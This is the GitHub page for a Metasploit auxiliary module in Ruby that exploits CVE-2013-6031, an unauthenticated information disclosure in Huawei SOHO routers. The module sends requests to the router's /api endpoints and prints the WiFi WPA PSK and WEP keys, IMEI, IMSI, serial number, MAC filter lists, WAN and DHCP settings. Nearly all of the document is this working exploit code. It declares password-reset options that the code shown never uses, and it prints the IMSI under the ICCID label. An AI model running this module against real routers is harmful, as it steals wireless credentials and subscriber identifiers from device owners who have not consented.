-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhuawei_wifi_info.rb
506 lines (428 loc) · 14.6 KB
/
huawei_wifi_info.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'base64'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Huawei Datacard, CSRF Information Disclosure Vulnerability",
'Description' => %q{
This module exploits an un-authenticated information disclosure vulnerability in Huawei
SOHO routers. It will gather information by accessing the /api pages where
authentication is not required, thus allowing configuration changes
as well as information disclosure including any stored SMS.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jimson K James.',
'tomsmaily [at] aczire.com', #Msf module
],
'References' =>
[
[ 'CVE', '2013-6031' ],
# [ 'OSVDB', '6031' ],
# [ 'BID', '6031' ],
# [ 'URL', 'http://seclists.org/bugtraq/2013/Nov/6031' ],
],
'DisclosureDate' => "Nov 11 2013" ))
register_options(
[
OptString.new('PASSWORD', [ true, 'The password to reset to', 'admin']),
OptBool.new('GAP', [false, 'Attempt admin password reset using wifi password.', false]),
], self.class)
end
def run
#Gather basic router information
get_router_info
print_status("")
get_router_mac_filter_info
print_status("")
get_router_wan_info
print_status("")
get_router_dhcp_info
print_status("")
print_status("Now trying to get WiFi Key details...")
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/api/wlan/security-settings',
}, 25)
#check whether we got any response from server and proceed.
if not res
print_error("Failed to get any response from server!!!")
return
end
#Is it a HTTP OK
if (!(res.code == 200))
print_error("Did not get HTTP 200, URL was not found. Exiting!")
return
end
#Check to verify server reported is a Huawei router
if (!(res.headers['Server'].match(/IPWEBS\/1.4.0/i)))
print_error("Target doesn't seem to be a Huawei router. Exiting!")
return
end
print_status("---===[ WiFi Key Details ]===---")
wifissid = get_router_ssid
if wifissid
print_status("WiFi SSID: #{wifissid}")
end
# Grabbing the wifiwpapsk
if res.body.match(/<WifiWpapsk>(.*)<\/WifiWpapsk>/i)
wifiwpapsk = $1
print_status("Wifi WPA PSK: #{wifiwpapsk}")
end
# Grabbing the WifiAuthmode
if res.body.match(/<WifiAuthmode>(.*)<\/WifiAuthmode>/i)
wifiauthmode = $1
print_status("Wifi Auth mode: #{wifiauthmode}")
end
# Grabbing the WifiBasicencryptionmodes
if res.body.match(/<WifiBasicencryptionmodes>(.*)<\/WifiBasicencryptionmodes>/i)
wifibasicencryptionmodes = $1
print_status("Wifi Basic encryption modes: #{wifibasicencryptionmodes}")
end
# Grabbing the WifiWpaencryptionmodes
if res.body.match(/<WifiWpaencryptionmodes>(.*)<\/WifiWpaencryptionmodes>/i)
wifiwpaencryptionmodes = $1
print_status("Wifi WPA Encryption Modes: #{wifiwpaencryptionmodes}")
end
# Grabbing the WifiWepKey1
if res.body.match(/<WifiWepKey1>(.*)<\/WifiWepKey1>/i)
wifiWepKey1 = $1
print_status("Wifi WEP Key1: #{wifiWepKey1}")
end
# Grabbing the WifiWepKey2
if res.body.match(/<WifiWepKey2>(.*)<\/WifiWepKey2>/i)
wifiWepKey2 = $1
print_status("Wifi WEP Key2: #{wifiWepKey2}")
end
# Grabbing the WifiWepKey3
if res.body.match(/<WifiWepKey3>(.*)<\/WifiWepKey3>/i)
wifiWepKey3 = $1
print_status("Wifi WEP Key3: #{wifiWepKey3}")
end
# Grabbing the WifiWepKey4
if res.body.match(/<WifiWepKey4>(.*)<\/WifiWepKey4>/i)
wifiWepKey4 = $1
print_status("Wifi WEP Key4: #{wifiWepKey4}")
end
# Grabbing the WifiWepKeyIndex
if res.body.match(/<WifiWepKeyIndex>(.*)<\/WifiWepKeyIndex>/i)
wifiWepKeyIndex = $1
print_status("Wifi WEP Key Index: #{wifiWepKeyIndex}")
end
rescue::Exception => e
print_status("Ooooops: #{e.class} #{e}")
#end run
end
def get_router_info
print_status("Attempting to connect to #{rhost} to gather basic device information...")
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/api/device/information',
}, 25)
#check whether we got any response from server and proceed.
if not res
print_error("Failed to get any response from server!!!")
return
end
#Is it a HTTP OK
if (res.code == 200)
print_status("Okay, Got an HTTP 200 (okay) code. Verifying Server header")
else
print_error("Did not get HTTP 200, URL was not found. Exiting!")
return
end
#Check to verify server reported is a Huawei router
if (res.headers['Server'].match(/IPWEBS\/1.4.0/i))
print_status("Server is a Huawei router! Grabbing info\n")
else
print_error("Target doesn't seem to be a Huawei router. Exiting!")
return
end
print_status("---===[ Basic Information ]===---")
# Grabbing the DeviceName
if res.body.match(/<DeviceName>(.*)<\/DeviceName>/i)
deviceName = $1
print_status("Device Name: #{deviceName}")
end
# Grabbing the SerialNumber
if res.body.match(/<SerialNumber>(.*)<\/SerialNumber>/i)
serialNumber = $1
print_status("Serial Number: #{serialNumber}")
end
# Grabbing the IMEI
if res.body.match(/<Imei>(.*)<\/Imei>/i)
imei = $1
print_status("IMEI: #{imei}")
end
# Grabbing the IMSI
if res.body.match(/<Imsi>(.*)<\/Imsi>/i)
imsi = $1
print_status("IMSI: #{imsi}")
end
# Grabbing the ICCID
if res.body.match(/<Iccid>(.*)<\/Iccid>/i)
iccid = $1
print_status("ICCID: #{imsi}")
end
# Grabbing the HardwareVersion
if res.body.match(/<HardwareVersion>(.*)<\/HardwareVersion>/i)
hardwareVersion = $1
print_status("Hardware Version: #{hardwareVersion}")
end
# Grabbing the SoftwareVersion
if res.body.match(/<SoftwareVersion>(.*)<\/SoftwareVersion>/i)
softwareVersion = $1
print_status("Software Version: #{softwareVersion}")
end
# Grabbing the WebUIVersion
if res.body.match(/<WebUIVersion>(.*)<\/WebUIVersion>/i)
webUIVersion = $1
print_status("WebUI Version: #{webUIVersion}")
end
# Grabbing the MacAddress1
if res.body.match(/<MacAddress1>(.*)<\/MacAddress1>/i)
macAddress1 = $1
print_status("Mac Address1: #{macAddress1}")
end
# Grabbing the MacAddress2
if res.body.match(/<MacAddress2>(.*)<\/MacAddress2>/i)
macAddress2 = $1
print_status("Mac Address2: #{macAddress2}")
end
# Grabbing the ProductFamily
if res.body.match(/<ProductFamily>(.*)<\/ProductFamily>/i)
productFamily = $1
print_status("Product Family: #{productFamily}")
end
# Grabbing the Classification
if res.body.match(/<Classify>(.*)<\/Classify>/i)
classify = $1
print_status("Classification: #{classify}")
end
end
def get_router_ssid
#print_status("Attempting to connect to http://#{rhost}/api/device/information to get router ssid")
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/api/wlan/basic-settings',
}, 25)
#check whether we got any response from server and proceed.
if not res
print_error("Failed to get any response from server!!!")
return
end
#Is it a HTTP OK
if (!(res.code == 200))
print_error("Did not get HTTP 200, URL was not found. Exiting!")
return
end
#Check to verify server reported is a Huawei router
if (!(res.headers['Server'].match(/IPWEBS\/1.4.0/i)))
print_error("Target doesn't seem to be a Huawei router. Exiting!")
return
end
# Grabbing the Wifi SSID
if res.body.match(/<WifiSsid>(.*)<\/WifiSsid>/i)
ssid = $1
#print_status("SSID #{ssid}")
return $1
end
end
def get_router_mac_filter_info
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/api/wlan/mac-filter',
}, 25)
#check whether we got any response from server and proceed.
if not res
print_error("Failed to get any response from server!!!")
return
end
#Is it a HTTP OK
if (!(res.code == 200))
print_error("Did not get HTTP 200, URL was not found. Exiting!")
return
end
#Check to verify server reported is a Huawei router
if (!(res.headers['Server'].match(/IPWEBS\/1.4.0/i)))
print_error("Target doesn't seem to be a Huawei router. Exiting!")
return
end
print_status("---===[ MAC Filter Information ]===---")
# Grabbing the WifiMacFilterStatus
if res.body.match(/<WifiMacFilterStatus>(.*)<\/WifiMacFilterStatus>/i)
wifiMacFilterStatus = $1
print_status("Wifi MAC Filter Status: #{(wifiMacFilterStatus == "1") ? "ENABLED" : "DISABLED"}" )
end
# Grabbing the WifiMacFilterMac0
if res.body.match(/<WifiMacFilterMac0>(.*)<\/WifiMacFilterMac0>/i)
wifiMacFilterMac = $1
if !(wifiMacFilterMac == "")
print_status("Mac: #{wifiMacFilterMac}")
end
end
# Grabbing the WifiMacFilterMac1
if res.body.match(/<WifiMacFilterMac1>(.*)<\/WifiMacFilterMac1>/i)
wifiMacFilterMac = $1
if !(wifiMacFilterMac == "")
print_status("Mac: #{wifiMacFilterMac}")
end
end
# Grabbing the WifiMacFilterMac2
if res.body.match(/<WifiMacFilterMac2>(.*)<\/WifiMacFilterMac2>/i)
wifiMacFilterMac = $1
if !(wifiMacFilterMac == "")
print_status("Mac: #{wifiMacFilterMac}")
end
end
# Grabbing the WifiMacFilterMac3
if res.body.match(/<WifiMacFilterMac3>(.*)<\/WifiMacFilterMac3>/i)
wifiMacFilterMac = $1
if !(wifiMacFilterMac == "")
print_status("Mac: #{wifiMacFilterMac}")
end
end
# Grabbing the WifiMacFilterMac4
if res.body.match(/<WifiMacFilterMac4>(.*)<\/WifiMacFilterMac4>/i)
wifiMacFilterMac = $1
if !(wifiMacFilterMac == "")
print_status("Mac: #{wifiMacFilterMac}")
end
end
# Grabbing the WifiMacFilterMac5
if res.body.match(/<WifiMacFilterMac5>(.*)<\/WifiMacFilterMac5>/i)
wifiMacFilterMac = $1
if !(wifiMacFilterMac == "")
print_status("Mac: #{wifiMacFilterMac}")
end
end
# Grabbing the WifiMacFilterMac6
if res.body.match(/<WifiMacFilterMac6>(.*)<\/WifiMacFilterMac6>/i)
wifiMacFilterMac = $1
if !(wifiMacFilterMac == "")
print_status("Mac: #{wifiMacFilterMac}")
end
end
# Grabbing the WifiMacFilterMac7
if res.body.match(/<WifiMacFilterMac7>(.*)<\/WifiMacFilterMac7>/i)
wifiMacFilterMac = $1
if !(wifiMacFilterMac == "")
print_status("Mac: #{wifiMacFilterMac}")
end
end
# Grabbing the WifiMacFilterMac8
if res.body.match(/<WifiMacFilterMac8>(.*)<\/WifiMacFilterMac8>/i)
wifiMacFilterMac = $1
if !(wifiMacFilterMac == "")
print_status("Mac: #{wifiMacFilterMac}")
end
end
# Grabbing the WifiMacFilterMac9
if res.body.match(/<WifiMacFilterMac9>(.*)<\/WifiMacFilterMac9>/i)
wifiMacFilterMac = $1
if !(wifiMacFilterMac == "")
print_status("Mac: #{wifiMacFilterMac}")
end
end
end
def get_router_wan_info
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/api/monitoring/status',
}, 25)
#check whether we got any response from server and proceed.
if not res
print_error("Failed to get any response from server!!!")
return
end
#Is it a HTTP OK
if (!(res.code == 200))
print_error("Did not get HTTP 200, URL was not found. Exiting!")
return
end
#Check to verify server reported is a Huawei router
if (!(res.headers['Server'].match(/IPWEBS\/1.4.0/i)))
print_error("Target doesn't seem to be a Huawei router. Exiting!")
return
end
print_status("---===[ WAN Details ]===---")
# Grabbing the WanIPAddress
if res.body.match(/<WanIPAddress>(.*)<\/WanIPAddress>/i)
wanIPAddress = $1
print_status("Wan IP Address: #{wanIPAddress}")
end
# Grabbing the PrimaryDns
if res.body.match(/<PrimaryDns>(.*)<\/PrimaryDns>/i)
primaryDns = $1
print_status("Primary Dns: #{primaryDns}")
end
# Grabbing the SecondaryDns
if res.body.match(/<SecondaryDns>(.*)<\/SecondaryDns>/i)
secondaryDns = $1
print_status("Secondary Dns: #{secondaryDns}")
end
end
def get_router_dhcp_info
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/api/dhcp/settings',
}, 25)
#check whether we got any response from server and proceed.
if not res
print_error("Failed to get any response from server!!!")
return
end
#Is it a HTTP OK
if (!(res.code == 200))
print_error("Did not get HTTP 200, URL was not found. Exiting!")
return
end
#Check to verify server reported is a Huawei router
if (!(res.headers['Server'].match(/IPWEBS\/1.4.0/i)))
print_error("Target doesn't seem to be a Huawei router. Exiting!")
return
end
print_status("---===[ DHCP Details ]===---")
# Grabbing the DhcpIPAddress
if res.body.match(/<DhcpIPAddress>(.*)<\/DhcpIPAddress>/i)
dhcpIPAddress = $1
print_status("LAN IP Address: #{dhcpIPAddress}")
end
# Grabbing the DhcpStatus
if res.body.match(/<DhcpStatus>(.*)<\/DhcpStatus>/i)
dhcpStatus = $1
print_status("DHCP: #{(dhcpStatus=="1") ? "ENABLED" : "DISABLED"}")
end
if (dhcpStatus != "1")
return
end
# Grabbing the DhcpStartIPAddress
if res.body.match(/<DhcpStartIPAddress>(.*)<\/DhcpStartIPAddress>/i)
dhcpStartIPAddress = $1
print_status("DHCP StartIPAddress: #{dhcpStartIPAddress}")
end
# Grabbing the DhcpEndIPAddress
if res.body.match(/<DhcpEndIPAddress>(.*)<\/DhcpEndIPAddress>/i)
dhcpEndIPAddress = $1
print_status("DHCP EndIPAddress: #{dhcpEndIPAddress}")
end
# Grabbing the DhcpLeaseTime
if res.body.match(/<DhcpLeaseTime>(.*)<\/DhcpLeaseTime>/i)
dhcpLeaseTime = $1
print_status("DHCP Lease Time: #{dhcpLeaseTime}")
end
end
#end module
end